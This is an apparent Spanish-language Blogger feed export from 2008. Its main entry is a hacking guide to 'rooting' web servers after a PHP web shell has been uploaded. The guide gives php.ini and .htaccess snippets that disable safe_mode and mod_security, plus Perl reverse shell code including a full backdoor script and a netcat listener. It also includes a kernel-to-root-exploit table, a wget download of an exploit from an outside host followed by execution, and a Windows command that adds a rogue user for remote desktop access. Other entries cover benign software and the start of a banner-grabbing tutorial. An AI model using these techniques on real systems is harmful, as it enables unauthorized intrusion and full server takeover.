/&gt;&lt;h1&gt;0X01 INTRODUCCIÓN&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;El tema de "tengo una shell en el servidor, ahora que hago" seguro que nos suena de haberlo leido reitaradas veces en muchos foros. Y es que esta es una de las dudas existenciales cuando empiezas en este mundillo... ¿Qué hacer con tu shell?.&lt;br /&gt;&lt;br /&gt;  Pues para las personas que tienen esta duda, va dirigido esta guía. La idea original de crear dicha guía me la dió hace ya tiempo Lëssiëm. En aquel momento le expliqué de una forma "muy breve" el como rootear un servidor... pero en aquella ocasión se lo expliqué todo color de rosa, es decir sin ningun tipo de complicación. La idea de la guia se fue dejando de lado... hasta que antes de irme a la Universidad decidi crearla.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;0X02 HABILITAR FUNCIONES (BYPASSING)&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;El primer problema con el que solemos encontrarnos a la hora de "juankear" un servidor, suele ser el que tenemos ciertas funciones deshabilitadas por culpa del "Safe_Mode", o tenemos algún problema con el Mod_Security. Cualesquiera que sea el caso del que nos dé problemas, en este capítulo hablaremos de como saltar, de como "bypassear" estas restricciones que nos encontramos.&lt;br /&gt;&lt;br /&gt;  Cuando tenemos una shell subida a un servidor, usualmente nuestro primer objetivo es el lograr habilitar aquellas funciones que vamos a necesitar, para poder desenvolvernos de la forma más sencilla por todo el servidor. A continuación pasamos a explicar detalladamente distintos bypassing.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;0X02~01 SAFE_MODE&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;El Safe_Mode o Modo Seguro, es una configuración que se suele seguir mucho en los servidores que suelen ser de hospedaje, es decir, en aquellos que cada usuario tiene un /home/ diferente donde se alojan, teniendo el servidor así diferentes /home/, uno por cada usuario. Para evitar el que un usuario pueda interferir de algún modo en el normal funcionamiento de otro, estos servidores suelen adoptar una configuración de Modo Seguro.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Esta configuración lo que hace es inhabilitar ciertas funciones PHP que puedan tacharse como "peligrosas", tales como funciones de ejecución (Eval, System, exec...) y algunas otras como rename, copy, etc. Realmente no es que deshabiliten la totalidad de éstas funciones, sino que bloquean su uso únicamente al dueño del fichero.&lt;br /&gt;&lt;br /&gt;Como nos habremos dado cuenta ya, Safe_Mode representa una barrera que debemos de saltar para poder "hacer algo" dentro del servidor. Para bypassear el Safe_Mode, existen diversas formas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La primera de todas es usando algún exploit que vulnere la versión PHP que está corriendo el servidor. Normalmente deben de ejecutar el código del exploit en la shell. ¿Cómo hacemos esto?. Si alguna vez han manejado una R57 o una C99, habrán observado que existe un apartado donde pone "Run PHP Code" o similar. Deben de colocar ahí el código del exploit y lo ejecutan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Una segunda forma para realizar un bypassing es el subir al mismo path donde se encuentra nuestra shell un archivo de configuración php.ini. Esto se hace así porque el safe_mode se configura como ON en la configuración de PHP. Entonces lo que vamos a hacer, es colocar un archivo de configuración dentro del mismo path en el que tenemos nuestra shell para deshabilitar en este path el Safe_Mode. EL source del .ini es el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;[PHP]&lt;br /&gt;register_globals = On&lt;br /&gt;engine = On&lt;br /&gt;safe_mode = Off&lt;br /&gt;safe_mode_exec_dir = On&lt;br /&gt;safe_mode_include_dir =On&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Pues ya sabemos cómo bypassear el safe_mode para poder movernos con soltura dentro del servidor. &lt;br /&gt;&lt;br /&gt;&lt;h1&gt;0X02~02 MOD_SECURITY&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;Otra medida de seguridad que en muchas ocasiones necesitamos bypassear es el Mod_Security de Apache. Mod_Security es muy molesto para trabajar en el servidor... así que tendremos que bypassearlo editando el fichero .htaccess. Deberemos de añadir al fichero .htaccess &lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;IfModule mod_security.c&gt;&lt;br /&gt;SecFilterEngine Off&lt;br /&gt;SecFilterScanPOST Off&lt;br /&gt;SecFilterCheckURLEncoding Off&lt;br /&gt;SecFilterCheckUnicodeEncoding Off&lt;br /&gt;&amp;/IfModule&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Con esto y el bypass de Safe_Mode tendríamos la mitad del asunto hecho&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;0X03 SHELL INVERSA&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;El caso es que usar la shell en PHP para empezar está bien, pero cuando ya has conseguido realizar los bypass y lo que buscas es manejarte y tratar de rootear el servidor, siempre es mejor tener una shell sobre la que ejecutar instrucciones.&lt;br /&gt;&lt;br /&gt;  Como bien sabemos ya por NetCat, la shell inversa es la mejor forma de tener el control del servidor. Mayormente es preferible una inversa a una directa porque el firewall, en principio, casi siempre permite conexiones salientes, pero no entrantes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Entonces nuestro objetivo será codear alguna aplicación que nos dé una shell inversa en el puerto que elijamos. Yo normalmente codeo los backdoors en PERL, ya que el uso de socket es muy sencillo. Por otra parte, existen otras personas que prefieren usar Backdoors codeadas por terceros, como la Datacha0s, o la BackConnect del D.O.M. Personalmente siempre apoyo el "codeate tú mismo tus herramientas" para depender menos de terceros. Así que aqui os dejo un PoC :&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;print "[+]Connecting to $host ...";&lt;br /&gt;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))&lt;br /&gt;                                                     || die "[-] Cannot Resolve $host";&lt;br /&gt;connect(SOCKET, sockaddr_in($port, inet_aton($host)))&lt;br /&gt;                                                     || die "[-] Cannot Connect to $host";&lt;br /&gt;&lt;br /&gt;print "\n[+] Connected!";&lt;br /&gt;&lt;br /&gt;open(STDIN, "&gt;&amp;SOCKET");&lt;br /&gt;open(STDOUT,"&gt;&amp;SOCKET");&lt;br /&gt;open(STDERR,"&gt;&amp;SOCKET");&lt;br /&gt;$ejecutor = "/bin/bash";&lt;br /&gt;system($ejecutor);&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Esa es una pequeña idea, estudiad Perl para poder implementar esta idea.  El caso es que con eso lanzaríamos un socket al host y puerto que hayamos puesto. Aqui les dejo la BackFoS (el backdoor que codee para el FOS TEAM) en su version 0.2. Actualmente estamos trabajando con la 0.3 (le he añadido unos pocos errores anti-kiddies):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;########### BackFoS v0.2 - By FoS TeaM - [priv8] ##########&lt;br /&gt;#                                                         #&lt;br /&gt;#     BackFoS is a Backdoor in PERL for  all  Servers     #&lt;br /&gt;#            c0dex by Vengador de las Sombras             #&lt;br /&gt;#                                                         #&lt;br /&gt;#          USAGE: Perl BackFoS.pl &lt;HOST&gt; &lt;PORT&gt; &lt;OS&gt;      #&lt;br /&gt;#     You need have listen nc, cryptcar, putty or other   #&lt;br /&gt;#      program on &lt;PORT&gt; to connect with the backdoor     #&lt;br /&gt;#                                                         #&lt;br /&gt;#=========================================================#&lt;br /&gt;#                                                         #&lt;br /&gt;#  Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k,  #       &lt;br /&gt;# Lëssiëm Tárálom, Phonix &amp; ArgeniversoHack &amp; #RE members #&lt;br /&gt;#      Especial Thanx To Plaga, for the help =)           #&lt;br /&gt;#                                                         #&lt;br /&gt;#################### (c)FoS TeaM 2008 #####################&lt;br /&gt;&lt;br /&gt;#use IO::Socket;&lt;br /&gt;&lt;br /&gt;print q(&lt;br /&gt;&lt;br /&gt;=================================================&lt;br /&gt;   BackFoS.pl c0dex by FoS TeaM&lt;br /&gt;=================================================&lt;br /&gt;);&lt;br /&gt;$ARGC = @ARGV;&lt;br /&gt;if ($ARGC != 5){ &lt;br /&gt;print "\nUsage: BackFoS.pl &lt;HOST&gt; &lt;PORT&gt; &lt;OS&gt;&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$host = $ARGV[0];&lt;br /&gt;$port = $ARGV[1];&lt;br /&gt;$OS = $ARGV[2];&lt;br /&gt;use Socket;&lt;br /&gt;&lt;br /&gt;print "[+]Connecting to $host ...";&lt;br /&gt;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))&lt;br /&gt;                                                     || die "[-] Cannot Resolve $host";&lt;br /&gt;connect(SOCKET, sockaddr_in($port, inet_aton($host)))&lt;br /&gt;                                                     || die "[-] Cannot Connect to $host";&lt;br /&gt;&lt;br /&gt;print "\n[+] Connected!";&lt;br /&gt;&lt;br /&gt;open(STDIN, "&gt;&amp;SOCKET");&lt;br /&gt;open(STDOUT,"&gt;&amp;SOCKET");&lt;br /&gt;open(STDERR,"&gt;&amp;SOCKET");&lt;br /&gt;&lt;br /&gt;print "\n .::BackFoS v0.2 - FoS TeaM - [Priv8]\n";&lt;br /&gt;if ($OS == "-l"){&lt;br /&gt;$ejecutor = "/bin/bash";&lt;br /&gt;system($ejecutor);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if ($OS == "-w"){&lt;br /&gt;$ejecutor = "cmd";&lt;br /&gt;sistem($ejecutor);&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Antes de mandar la shell, debemos de ejecutar en nuestra propia shell lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;nc -lvvp 90&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Podemos usar NetCat, o cualquier otro programa que sirva para hacer negociaciones TCP/IP. El caso es que así dejamos a la escucha netcat para que reciba la shell. Desde la shell .php que tenemos en el servidor ejecutamos lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;perl &lt;Mi IP&gt; &lt;Puerto&gt; &lt;sistema operativo (-L o -w)&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;et voilá ya podemos manejarnos dentro de la shell del servidor. Normalmente desde esta shell tendremos más flexibilidad que con la shell .php.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;0X04 ROOTEAR EL SERVIDOR&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;Ya hemos llegado al apartado crucial de este paper. Cuando hablamos de rootear un servidor, a lo que nos referimos es a conseguir ser root del servidor, es decir, poder hacer lo que se nos antoje dentro del servidor. Aqui vamos a diferenciar entre servidores que corren con Linux y los que corren con Win32&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;0X04~01 SERVIDORES CON LINUX&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;Cuando rooteamos un servidor que corre con el sistema operativo Linux, lo que haremos será atacar al kernel (en caso de que sea una versión vulnerable) para que elevemos privilegios.&lt;br /&gt;&lt;br /&gt;En este caso partimos de la base de que ya estamos controlando una shell inversa procedente del servidor. Lo primero que deberemos de hacer será comprobar si la versión del kernel es vulnerable. Para ello deberemo sde ejecutar la instruccion uname -r. Aqui les dejo un listado de kernels y posibles rootexploits que los vulneran:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2.4.17=&gt; "newlocal kmod uselib24",&lt;br /&gt;2.4.18=&gt; "brk brk2 newlocal kmod",&lt;br /&gt;2.4.19=&gt; "brk brk2 newlocal kmod",&lt;br /&gt;2.4.20=&gt; "ptrace kmod ptrace-kmod brk brk2",&lt;br /&gt;2.4.21=&gt; "brk brk2 ptrace ptrace-kmod",&lt;br /&gt;2.4.22=&gt; "brk brk2 ptrace ptrace-kmod",&lt;br /&gt;2.4.22-10=&gt; "loginx",&lt;br /&gt;2.4.23=&gt; "mremap_pte",&lt;br /&gt;2.4.24=&gt; "mremap_pte uselib24",&lt;br /&gt;2.4.25-1=&gt; "uselib24",&lt;br /&gt;2.4.27=&gt; "uselib24",&lt;br /&gt;2.6.2=&gt; "mremap_pte krad h00lyshit",&lt;br /&gt;2.6.5=&gt; "krad krad2 h00lyshit",&lt;br /&gt;2.6.6=&gt; "krad krad2 h00lyshit",&lt;br /&gt;2.6.7=&gt; "krad krad2 h00lyshit",&lt;br /&gt;2.6.8=&gt; "krad krad2 h00lyshit",&lt;br /&gt;2.6.8-5=&gt; "krad2  h00lyshit",&lt;br /&gt;2.6.9=&gt; "krad  krad2  h00lyshit",&lt;br /&gt;2.6.9-34=&gt; "r00t h00lyshit",&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;o hice una tool para el team que se encargaba precisamente de eso, de mostrar los posibles rootexploit a partir de ese listad (creas una matriz asociativa, dejando las Keys como las versiones y los Values con los rootexploits, despues lo que haces es ejecutar uname -r y creas un patron de búsqueda que compruebe si en el output aparece alguna version de kernel que tengamos en el hash).&lt;br /&gt;&lt;br /&gt;Bien desde la shell remota lo que haremos será movernos hasta un directorio donde podamos ejecutar archivos. Normalmente se suele recurrir a /tmp o se hace un find . -type d -perm (los que necesiemos buscar)&lt;br /&gt;&lt;br /&gt;Bueno, si ya estamso en el directorio, ahora debemos de descargar nuestro rootexploit al servidor usando el comando wget (wget http://mihost.com/del/exploit). Tras haber descargado nuestro rootexploit, deberemos de darle permisos de ejecuccion (777) usando el comando chmod:&lt;br /&gt;&lt;br /&gt;Código:&lt;br /&gt;&lt;br /&gt;chmod 777 rootexploit &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y ya solo nos quedaría ejecutarlo con ./rootexploit.  Si todo ha salido bien, deberíamos de ser root ya.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;0X04~02 SERVIDORES CON WIN32&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;Los más puristas llaman a esto "Semi-rootear" el servidor... pero bueno. Yo aprendí siguiendo un paper que publicó You_kn0w. La idea es crear un usuario en el servidor con permisos de administrador a través de los comandos net. Es por ello que es necesario tener el safe_mode off, para poder ejecutar comandos.&lt;br /&gt;&lt;br /&gt;El "ataque" se inicia desde la shell que tengamos en el servidor. Allí lo que hacemos es ejecutar las siguientes instrucciones:&lt;br /&gt;&lt;br /&gt;Código:&lt;br /&gt;&lt;br /&gt;net user FoS 123456 /add &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para aquellos que sepan algo de batch, sabrán que lo que hemos hecho ha sido crear un usuario llamado FoS cuya password es 123456. Bien ahora nos vamos a inicio -&gt; ejecutar y escribimos mstsc.exe&lt;br /&gt;&lt;br /&gt;Se nos abrirá una ventania. Ahí vamos a opciones y rellenamos los campos, a excepción de Equipo. En ese campo deberemos de poner la IP del servidor donde nosotros nos habíamos creado el usuario. Podemos o bien hacer ping al servidor o bien hacer desde la shell ipconfig y sacar la IP.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;0X05 DESPEDIDA Y AGRADECIMIENTOS&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bien, creo que al final este paper ha quedado como una buena introducción a las newbies que empiezan en este mundo. Por otra parte creo que podría expandirse un poco más... pero bueno eso para otra ocasión. Espero les haya sido de utilidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Gr3tz to: FoS TeaM (Chipbios &amp; Mace Windu), Askata, Chr0n05, Lëssiëm, Lutscher, Keynet, Fr34k, N.O.X. Tambien agradecer a mi betatester S e t H y a mi gran colega Plaga.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8377223121743609601?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8377223121743609601/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8377223121743609601' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8377223121743609601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8377223121743609601'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/rootear-servidores.html' title='Rootear Servidores'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8580847347692677854</id><published>2008-09-12T00:28:00.011+02:00</published><updated>2011-07-23T00:24:35.240+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Papers míos'/><title type='text'>HTTP al Descubierto by Vengador de las Sombras &amp; Sknight</title><content type='html'>Aquí les dejo el paper sobre el que hemos estado trabajando esta semana y por el que dejé un tanto abandonado el blog. Tras este aporte, esperamos poder volver http://www.blogger.com/img/blank.gifhttp://www.blogger.com/img/blank.gifa la normalidad en cuanto al posteo diario en el blog.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;===Mirrors actualizados===&lt;br /&gt;&lt;br /&gt;-&lt;a href="http://personal.telefonica.terra.es/web/alexb/manus/HTTP_al_Descubierto_by_Sknight___Vengador_de_las_sombras.rar"&gt;Mirror de elhacker.NET&lt;/a&gt;&lt;br /&gt;-&lt;a href="http://xd-blog.com.ar/descargas/manuales/bugs/HTTP_al_Descubierto_by_Sknight___Vengador_de_las_sombras.pdf"&gt;Mirror de Seth&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;==================================&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8580847347692677854?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8580847347692677854/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8580847347692677854' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8580847347692677854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8580847347692677854'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/http-al-descubierto-by-vengador-de-las.html' title='HTTP al Descubierto by Vengador de las Sombras &amp; Sknight'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-6130757272599990426</id><published>2008-09-06T23:34:00.005+02:00</published><updated>2008-09-06T23:51:03.817+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WPF'/><title type='text'>Visor de imágenes</title><content type='html'>Se trata de un visor de imágenes utilizando el tipo de proyecto WPF Application. Para ello, no hemos tenido que escribir ni una sola línea de código en C#, por lo que simplemente copiando el XAML a un proyecto del mismo tipo en VB seguiría funcionando.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://xs331.xs.to/xs331/08363/shot498.png" alt="Visor de imágenes con XAML" width="100%" /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://rapidshare.com/files/142332948/VisorImagenes.rar.html"&gt;&lt;span style="font-size:180%;"&gt;&lt;b&gt;Descargar proyecto + Recursos + Ejecutable&lt;/b&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;hr /&gt;&lt;br /&gt;Como pueden ver, toma las fotografías de un documento XML que deberán modificar con sus fotografías para que les funcionen. De todos modos, he incluido una serie de fotografías en el RAR para que las copien en la unidad de C y puedan comprobar el funcionamiento del programar sin tener que modificar el XML. Para añadir fotos solo tiene que ir agregandolas al XML.&lt;br /&gt;&lt;br /&gt;Salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6130757272599990426?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/6130757272599990426/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=6130757272599990426' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6130757272599990426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6130757272599990426'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/visor-de-imgenes.html' title='Visor de imágenes'/><author><name>Mace Windu</name><uri>http://www.blogger.com/profile/16629780086210916617</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://4.bp.blogspot.com/_1FbP8V2e4r8/SLrLfbwybaI/AAAAAAAAAA8/TbziVm3IC6w/s1600-R/winduwebcopiaip0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-6307492983578500836</id><published>2008-09-06T23:09:00.007+02:00</published><updated>2008-09-06T23:51:21.937+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic .NET'/><title type='text'>Alternative Notepad Edition "Vengador"</title><content type='html'>Se trata de un bloc de notas con alguna característica adicional a gusto de mi amigo Vengador de las Sombras que fue quien me lo pidió que lo codeara hace ya unos meses para su uso personal:&lt;br /&gt;&lt;br /&gt;&lt;img ALT="Bloc de notas Visual Basic .NET" src="http://xs231.xs.to/xs231/08362/shot504.png" width="100%" /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:180%;"&gt;&lt;a href="http://rapidshare.com/files/142130863/Vengador.rar.html"&gt;&lt;b&gt;Descargar proyecto + Recursos + Ejecutable&lt;/b&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;hr /&gt;&lt;br /&gt;Obviamente el código se puede optimizar bastante y agregarle nuevas funcionalidades, pero eso ya se lo dejo a ustedes ;).&lt;br /&gt;&lt;br /&gt;Salu2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6307492983578500836?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/6307492983578500836/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=6307492983578500836' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6307492983578500836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6307492983578500836'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2008/09/alternative-notepad-edition-vengador.html' title='Alternative Notepad Edition &quot;Vengador&quot;'/><author><name>Mace Windu</name><uri>http://www.blogger.com/profile/16629780086210916617</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://4.bp.blogspot.com/_1FbP8V2e4r8/SLrLfbwybaI/AAAAAAAAAA8/TbziVm3IC6w/s1600-R/winduwebcopiaip0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-752036998531117054</id><published>2008-09-06T01:34:00.007+02:00</published><updated>2008-09-06T15:32:58.750+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><title type='text'>HTTP Headers III : Banner Grabbing</title><content type='html'>&lt;style&gt;code { color:lime; } &lt;/style&gt;Saludos!&lt;br /&gt;&lt;br /&gt;  Este va a ser el último paper que haga por separado acerca de técnicas de explotación y enumeración a través del protocolo HTTP. En esta ocasión quiero brindarles un breve paper sobre banner Grabbing. Digo lo de breve, porque estos tres papers que he publicado son sólo para abrir boca: Sknight me ha confirmado la creación en conjunto de un paper. La idea original de este paper es la de hacer uno en español que abarque el máximo posible de información sobre el tema, ya que por lo que hemos visto no hay casi ninguna publicación de esta índole (y de calidad) en nuestro idioma. Espero que os sea de utilidad ;).&lt;br /&gt;&lt;br /&gt;  Bueno, tras este paréntesis explicativo de porqué este paper va a ser algo corto y no va abarcar todo lo que debería (como por ejemplo el spoofing de banners), pongamonos manos a la obra.&lt;br /&gt;&lt;br /&gt;  Si alguna persona lee mi blog (cosa que dudo bastante XD) y se ha leido los anteriores capítulos (HTTP Headers I y II) sabrá que hasta ahora hemos tirado de utilidades tales como Live HTTP headers entre otras, las cuales nos han simplificado la vida bastante, y esto a la larga atrofia nuestro cerebro. Lo ideal a veces es usar cosas más antiguas y utilidades programadas por nosotros, así que hoy vamos a hacer las cosas... lo más a mano posible, para ir emancipandonos poco a poco de las utilidades de terceros. Así que hoy lo único que vamos a usar es algún programa que realice negociaciones por TCP (Netcat, CryptCat, Telnet, Putty, etc.) y un intérprete de perl ;).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Empecemos a ver las definiciones... ¿A qué estamos llamando banner? Estamos llamando banner a la informacion (como el programa, la versión, entre otras) de trasmite un servicio cuando trabajamos con él. Por ejemplo, cuando nosotros nos conectamos a un FTP:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Microsoft Windows XP [Versión 5.1.2600]&lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;Fl4mm1ng 0ur Sk1llZ:    ftp Host.com.ar&lt;br /&gt;Conectado a Host.com.ar.&lt;br /&gt;220 &lt;font color=red&gt;vserver-vpvseu1 Microsoft FTP Service (Version 5.0).&lt;/font&gt;&lt;br /&gt;Usuario (HOST.com.ar:(none)):&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;La parte coloreada en rojo sería el banner que informa acerca del servicio que corre por el puerto 21 (FTP). Al igual que con esto, los servidor, versiones de PHP, etc aparecen cuando hacemos alguna negociación por el puerto 80, o lo que traducido del geek común al idioma de las personas, cada vez que nos conectamos a una web.&lt;br /&gt;&lt;br /&gt;Esta info la optenemos en las cabeceras cuando realizamos alguna petición a un servidor. Ahora os voy a enseñar como mandar una cabecera a través de netcat.&lt;br /&gt;&lt;br /&gt;Para hacer una negociación con netcat para el envío de cabeceras, únicamente teneis que poner &lt;font color=red&gt;nc host 80&lt;/font&gt; Si la conexión se ha producido correctamente, podreis escribir. Una cosa importantísima es que se deben de escribir las cabeceras acorde con el estandar, o si no tendremos errores. Bueno, entonces si hacemos:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;Fl4mm1ng 0ur Sk1llZ:    nc ficticio.com 80&lt;br /&gt;GET / HTTP/1.0&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hay que tener encuenta que tras escribir GET / HTTP/1.0, para señalizar la finalización de la cabecera tendremos que pulsar dos veces enter (los dos CR/LF de fin de cabecera). Y el servidor nos responde con:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Server: Microsoft-IIS/5.0 MicrosoftOfficeWebServer: 5.0_Pub&lt;br /&gt;X-Powered-By: ASP.NET&lt;br /&gt;Content-Location: http://200.49.155.214/index.html&lt;br /&gt;Date: Sat, 06 Sep 2008 00:21:03 GMT&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;Last-Modified: Thu, 06 Dec 2007 03:28:15 GMT&lt;br /&gt;ETag: "eab1b49b837c81:1669"&lt;br /&gt;Content-Length: 66&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Vemos en el campo Server el banner. Bien ya sabemos a qué nos referimos cuando hablamos de "banners" pero... ¿Qué es el banner grabbing? El banner grabbing es una técnica de enumeración, para buscar un posible vector de ataque, que trata de usar la información del banner como referencia para saber los servicios que corre... Haciendo que nuestra auditoría se focalice más atendiendo a esos datos. Antes que nada decir que no debemos de fiarnos únicamente de los banners, puestos que estos son spoofeables[1]. Para hacer una correcta enumeración del servidor atacar se recomienda el uso de técnicas de fingerprinting[2] para obtener una info verídica.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Como ir haciendo esto constantemente puede convertirse en una tarea muy monótona, podemos codearnos un sencillo programa en PERL que haga esta función:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# Banner Grabber Example by Vengador de las Sombras (F.O.S TeaM)&lt;br /&gt;# Permitida su distribución y editaje siempre y cuando guarden créditos&lt;br /&gt;&lt;br /&gt;# Www.ArgeniversoHack.com.aR || RemoteExecution.orG || 